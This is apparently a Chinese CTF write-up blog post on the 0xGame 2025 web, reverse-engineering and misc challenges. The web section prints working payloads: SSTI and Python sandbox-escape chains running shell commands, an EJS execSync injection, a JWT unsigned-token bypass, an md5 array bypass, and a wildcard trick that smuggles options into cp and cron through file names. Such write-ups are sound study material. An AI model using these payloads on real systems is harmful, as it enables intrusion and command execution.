0xGame-2025

web
week1-Lemon_RevEnge
拿到源码显然原型链污染

利用/<path:path>来进行任意文件读取,发现500报错

然后我们找到temlating.py下面的报错信息,然后逐步跟一下,发现防止目录穿梭进行的一个操作,而我们的os.path.pardir恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了。
1 | { |

(记得改为json)
然后访问../../flag

week1-RCE1
给出源码
1 |
|
首先是md5比较,使用数组即可绕过,然后是eval使用反引号即可
1 | get ?rce1[]=1 |

week1-留言板(粉) 与 留言板_reVenge
首先是弱口令爆破

1 | 账号:admin |
然后是一个留言板,随便写东西发现

存在xxe
1 | <?xml version = "1.0"?> |

week1-Lemon
ctrl+shift+i

week1-Rubbish_Unser
给出源码,需要搓pop链且需要提前destruct,payload如下
1 |
|
最后发送时将b改为a即可提前__destruct()(但是题目好像有点问题,不需要提前destruct也可以通
week1-Http的真理,我已解明
没啥说的,payload如下
1 | POST /?hello=web HTTP/1.1 |

week2-404NotFound
题目说:你虽然想查看flag,但是404了该怎么办
所以我们访问flag

发现回显了我们的路径,并且发现后端为python,猜测ssti

发现存在ssti(都是ssti了,直接fenjing一把梭)
由于是回显路径,且状态码都是404,所以得写一个转发脚本才能用fenjing
脚本
1 | from flask import Flask, request, Response |

1 | {{(cycler['next']['__g''lobals__']['o''s']['p''open']('cat+/flag'))['read']()}} |
week2-马哈鱼商店
先随便注册个用户看看
发现可以购买东西,看到flag了,直接买

意料之内
有一个叫pickle的,看看

抓包发现折扣,修改为一个极小值


通过阅读代码发现过滤了0x00和0x1E,但是在pickle在默认情况下有许多的这种字符不可避免,但是在protocol=0是文本不含
脚本
1 | import pickle |

week2-DNS想要玩
简单的ssrf,使用句号绕过.

week2-你好,爪洼脚本
一眼aaEncode

1 | 0xGame{Hello,JavaScript} |
week2-Plus_plus


给出源码,发现没有过滤+和数字
1 | $_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);//长度118 $_GET[1]($_GET[2]) |

week2-我只想要你的PNG!
打开发现是一个文件上传,且在源码中发现check.php
随便上传一个文件

发现严格校验后缀,并且我们访问提示404

也没办法目录超越
打开check.php

发现了我们的文件名1.php
尝试ssti未果,然后将文件名改为PHP代码


成功执行


week3-消栈逃出沙箱(1)反正不会有2
没有过滤.[]()_,打继承链
1 | print([].__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['popen']('env').read()) |

week3-长夜月
给出源码

在进行jwt解码时并没有限制签名方式,可以使用jwt签名置空来绕过
先看看格式

将用户名改为admin,签名置空
1 | import jwt |


成功进入/admin_club1st

原型链污染,修改min_public_time
1 | import requests |

week3-这真的是文件上传
(几乎是羊城杯原题了,刚打
给出源码
任意 PUT 写文件,文件内容 base64 解密后存储

得写index覆盖原来的,有个在渲染时有白名单检查,只渲染index

1 | <%- global.process.mainModule.require('child_process').execSync('env') %> |


week3-放开我的变量
拿到博客先扫目录





发现没有权限读,看看下面的sh脚本
1 |
|
前置知识
cp指令参数
| 选项 | 名称/含义 | 对命令行参数中的符号链接 | 对目录内部的符号链接 | 备注 |
|---|---|---|---|---|
-P | 不跟随 (Preserve link) | 复制链接本身 | 复制链接本身 | 通常是默认行为 |
-H | 仅命令行跟随 | 复制链接指向的目标 | 复制链接本身 | 只对直接列出的源起作用 |
-L | 总是跟随 (Follow link) | 复制链接指向的目标 | 复制链接指向的目标 | 与 -P 行为完全相反 |
1 | cp -P * /var/www/html/marstream/ |
* 的解析规则(Shell Globbing)
- Shell 会列出当前目录下所有非隐藏文件和目录(即不以
.开头的)。 - 然后按字母顺序排序,生成一个文件名列表。
- 最后,把
*替换成这个列表,再执行cp命令。
1 | 如果当前目录有: |
如果文件名是 - 开头会发生什么?
➤ 灾难性后果:文件名被当作命令行选项解析!
根据linux系统命令参数的后来者胜出原则,我们在 -P 后边添加 -H 就会实现跟随链接复制了.
所以,我们可以创建一个名字为 -H或者 -L的文件,然后再创建 /flag的链接,就可以复制flag的内容了.


week3-文件查询器(蓝)
在文件读取时存在任意文件读取


week3-New_Python!
随便注册一个号,下载提示
1 | from Crypto.Util.number import getPrime, bytes_to_long |
ai得到a


响应头得到b


得到c

登陆admin账号,命令执行env

RE
week1-SignIn
shift+f12直接出

week1-SignIn2

整体思路主要是输入正确的key就能把flag输出
通过模拟flag的解密流程进行爆破
可以得出数字为16

week1-EasyXor

主要逻辑就是把输入的flag和key进行xor再加i
解密脚本如下
1 |
|
week1-ZZZ

通过z3解未知数,会发现结果不只有一个,把解出来的值进行sha-256加密一个个比对
1 | from z3 import * |

week1-BaseUpx
脱完upx壳之后



发现是base64
直接丢cyberchef解base64即可

week1-DyDebug
动态调试直接出


week2-算数高手
解包之后反编译完直接出

week2-16bit

简单的汇编代码
不难看出存在两个for循环
一个先-9再和0xE异或
一个先和0xE异或再-9
由此可以编写代码
1 | s = [0x47, 0x7F, 0x52, 0x78, 0x6C, 0x74, 0x7E, 0x72, 0x47, 0x47, 0x73, 0x5A, 0x84, 0x5A, 0x43, 0x85, 0x46, 0x5A, 0x83, 0x6F, 0x46, 0x5A, 0x6C, 0x33, 0x30, 0x73, 0x32, 0x75, 0x66, 0x37, 0x61, 0x66, 0x33, 0x30, 0x78, 0x66, 0x40, 0x35, 0x61, 0x4E, 0x64, 0x34, 0x65, 0x32, 0x33, 0x88] |
week2-Shuffle!Shuffle!
伪随机


但是被hook掉了



解密脚本如下
1 | class MsvcrtRand: |
week2-TELF
UPX壳
去掉了其中一个特征标识
自己加了个UPX壳用两个程序进行比较


发现了不同之处
把这个X1c改回UPX就能用程序脱壳了



伪随机+tea加密
用动调获取key


解密脚本如下
1 |
|
week2-BabyJar


通过分析代码可以知道
先和key进行异或
然后高四位和低四位交换位置
最后一个base64加密
解密代码如下
1 | import base64 |
MISC
week1-公众号原稿
将.docx改为.zip
发现gift


week1-Zootopia
随波逐流一把梭

week1-Do not enter
搜索0xGame,发现有一堆,在寻寻觅觅中发现了114514,一眼就是了

week1-Sign_in
先base64,在凯撒偏移10
1 | MGhRa3dve0dvdm0wd29fZDBfMGhRNHczXzJ5MjVfQHhuX3JAbXVfUHliX3BlWH0= |
week1-签到-0xGame

week1-ez_Shell
连上ssh

flag最后拼接在一起即可
week1-ezShell_PLUS

week2-开锁师傅
发现附件里面存在两个文件,一个png,一个flag
比较显然是明文爆破
0xGame{太短不适合,只能是png了,
众所周知png的头是固定的为

正好16字节

1 | 0xGame{Y0u_cRacked_M3!z1p_1s_uNsafe!} |
week2-ezShiro
net-a一把梭



week2-删库跑路
打开压缩包发现了.git文件夹,我们直接在本地起一个服务,拿工具一跑就出了


给ai一跑完事

week2-这个b64不太对啊
把base表给打乱了,然后我们给输入,他给输出,让我们还原base表
1 | #!/usr/bin/env python3 |

week2-ezEXIF
改时间

修改长宽

添加Make,Camera Model Name,描述


week3-收集阳光吧
都是misc了,你就玩玩吧

week4-ezHack
ssh连接
发现用户目录有一个hello

查看定时任务



和之前的week3-web-放开我的变量一样,* 会将所有文件列出来然后替换进去
因此我们创建一个文件名叫-e sh tiran.txt,然后再创一个文件名叫tiran.txt里面放我们想要执行的命令




week4-问卷大调查
问卷里面
week4-开锁师傅2.0
打开压缩包发现里面全部都是一堆需要4字节的小文件,显而易见第一步是crc爆破

得到信息
1 | 好像有个很重要的文件,就记住了前面的内容:welcome_to_0xGame |
有一个vip文件,所以根据提示显然为明文爆破


week4-开锁师傅2.0_reverge
使用之前的工具发现报错

打开压缩包一看发现多了一层文件夹,应该就是这个原因引起的
找其他工具

发现爆不出来,看了看源码发现他就暴力了3个字符的ascii,并没有中文,拷打ai改改脚本
1 | #!/usr/bin/python3.8 |


是中文,而且为utf-8编码,得到明文



- 标题: 0xGame-2025
- 作者: tiran
- 创建于 : 2025-11-07 18:28:56
- 更新于 : 2025-11-07 18:29:55
- 链接: https://www.tiran.cc/2025/11/07/0xGame-2025/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。